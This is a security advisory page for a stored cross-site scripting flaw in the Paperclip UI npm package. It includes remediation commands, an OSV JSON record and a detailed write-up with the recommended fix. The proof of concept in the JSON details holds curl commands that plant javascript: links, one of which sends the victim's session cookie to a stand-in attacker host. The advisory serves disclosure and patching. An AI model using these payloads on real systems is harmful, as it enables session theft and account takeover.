GHSA-fpw4-p57j-hqmq: Paperclip Cross-Site Scripting Vulnerability
MODERATEGHSA-fpw4-p57j-hqmq is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Paperclip libraries in the npm ecosystem. The issue involves stored xss via javascript: urls in markdownbody — urltransform override disables react-markdown sanitization. Remediation is available by upgrading affected packages to version 2026.416.0.
GHSA-fpw4-p57j-hqmq at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
How to Fix GHSA-fpw4-p57j-hqmq
To remediate this vulnerability, upgrade all affected Paperclip dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @paperclipai/ui@2026.416.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @paperclipai/ui
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-fpw4-p57j-hqmq, inspect your project dependencies using npm:
npm ls @paperclipai/ui
Analyze the terminal output to locate any version of Paperclip in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.416.0), your application is affected.
Note: The npm ls @paperclipai/ui command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Paperclip, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-fpw4-p57j-hqmq Affected Paperclip Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@paperclipai/ui
|
npm |
< 2026.416.0
|
2026.416.0
|
References
Frequently Asked Questions
What is GHSA-fpw4-p57j-hqmq?
Which Paperclip versions are affected?
What version fixes GHSA-fpw4-p57j-hqmq?
Is @paperclipai/ui affected?
What is the CVSS score of GHSA-fpw4-p57j-hqmq?
What CWE is associated with GHSA-fpw4-p57j-hqmq?
How can I check npm dependencies for GHSA-fpw4-p57j-hqmq?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fpw4-p57j-hqmq",
"modified" : "2026-04-16T22:49:13Z",
"published" : "2026-04-16T22:49:13Z",
"aliases" : [ ],
"summary" : "Paperclip: Stored XSS via javascript: URLs in MarkdownBody — urlTransform override disables react-markdown sanitization",
"details" : "## Summary\n\n`MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) => url}` to `react-markdown`. That override replaces `react-markdown`'s built-in `defaultUrlTransform` — the library's only defense against `javascript:`/`vbscript:`/`data:` URL injection — with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant.\n\n## Details\n\n### 1. Sink: MarkdownBody overrides url sanitization\n\n`ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element):\n\n```tsx\na: ({ href, children: linkChildren }) => {\n const parsed = href ? parseMentionChipHref(href) : null;\n if (parsed) { /* mention chip path, rewrites href */ }\n return (\n <a href={href} rel=\"noreferrer\">\n {linkChildren}\n </a>\n );\n},\n// ...\n<Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}>\n {children}\n</Markdown>\n```\n\n`react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) => url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin.\n\n### 2. Source: unsanitized markdown bodies\n\n`server/src/routes/issues.ts:815-862` accepts issue document bodies:\n\n```ts\nrouter.put(\"/issues/:id/documents/:key\", validate(upsertIssueDocumentSchema), async (req, res) => {\n // ...\n assertCompanyAccess(req, issue.companyId);\n // ...\n const result = await documentsSvc.upsertIssueDocument({\n issueId: issue.id,\n key: keyParsed.data,\n title: req.body.title ?? null,\n format: req.body.format,\n body: req.body.body, // ← stored verbatim\n // ...\n });\n```\n\n`packages/shared/src/validators/issue.ts:196-202`:\n\n```ts\nexport const upsertIssueDocumentSchema = z.object({\n title: z.string().trim().max(200).nullable().optional(),\n format: issueDocumentFormatSchema, // enum: [\"markdown\"]\n body: z.string().max(524288), // no content validation\n // ...\n});\n```\n\nOnly the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator).\n\n### 3. Rendering path\n\n`ui/src/components/IssueDocumentsSection.tsx:71-72`:\n\n```tsx\nfunction renderBody(body: string, className?: string) {\n return <MarkdownBody className={className}>{body}</MarkdownBody>;\n}\n```\n\n`ui/src/components/CommentThread.tsx:372`:\n\n```tsx\n<MarkdownBody className=\"text-sm\">{comment.body}</MarkdownBody>\n```\n\nThe same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability.\n\n### 4. Authorization does not block cross-user reach\n\n`server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue.\n\n### 5. No compensating CSP\n\nA repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click.\n\n## PoC\n\nPrerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `<ISSUE_ID>`, the backend reachable on `http://localhost:3000`.\n\n**Step 1 — Attacker plants a malicious issue document:**\n\n```bash\ncurl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \\\n -H 'Cookie: <attacker-session-cookie>' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"format\": \"markdown\",\n \"body\": \"# Plan\\n\\n[Click for details](javascript:fetch(\\\"https://attacker.example/steal?c=\\\"+encodeURIComponent(document.cookie)))\"\n }'\n```\n\nExpected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes.\n\n**Step 2 — Victim opens the issue:**\n\nThe victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` → `<MarkdownBody>`, which emits the DOM:\n\n```html\n<a href=\"javascript:fetch("https://attacker.example/steal?c="+encodeURIComponent(document.cookie))\" rel=\"noreferrer\">Click for details</a>\n```\n\n**Step 3 — Victim clicks the link:**\n\nThe browser executes the `javascript:` URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.\n\n**Alternate vector — comments (same sink):**\n\n```bash\ncurl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \\\n -H 'Cookie: <attacker-session-cookie>' \\\n -H 'Content-Type: application/json' \\\n -d '{\"body\":\"[pwn](javascript:alert(document.cookie))\"}'\n```\n\n`CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges.\n\n## Impact\n\n- **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click.\n- **Session hijack.** The script executes on the Paperclip origin with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host.\n- **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings).\n- **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable.\n- **Persistent.** The payload lives in the document or comment record until explicitly deleted.\n\n## Recommended Fix\n\nThe minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`'s `defaultUrlTransform`:\n\n```tsx\n// ui/src/components/MarkdownBody.tsx\nimport Markdown, { defaultUrlTransform, type Components } from \"react-markdown\";\n\n// ...\n\n// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,\n// but fall back to the library's scheme allow-list for everything else.\nfunction safeUrlTransform(url: string): string {\n if (url.startsWith(\"paperclip-mention://\")) return url;\n return defaultUrlTransform(url);\n}\n\n<Markdown\n remarkPlugins={[remarkGfm]}\n components={components}\n urlTransform={safeUrlTransform}\n>\n {children}\n</Markdown>\n```\n\n`defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every call site of `MarkdownBody`.\n\nDefense-in-depth recommendations:\n\n1. Add a strict Content-Security-Policy header to the main app response (e.g. `script-src 'self' 'nonce-...'`) so that even a future regression cannot execute inline JS via `javascript:` navigation.\n2. Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject `](javascript:` sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content.\n3. Audit every existing component for other `urlTransform`/`skipHtml`/`rehype-raw` overrides that might reintroduce the same bypass.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@paperclipai/ui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2026.416.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/paperclipai/paperclip/security/advisories/GHSA-fpw4-p57j-hqmq"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/paperclipai/paperclip"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-16T22:49:13Z",
"nvd_published_at" : null
}
}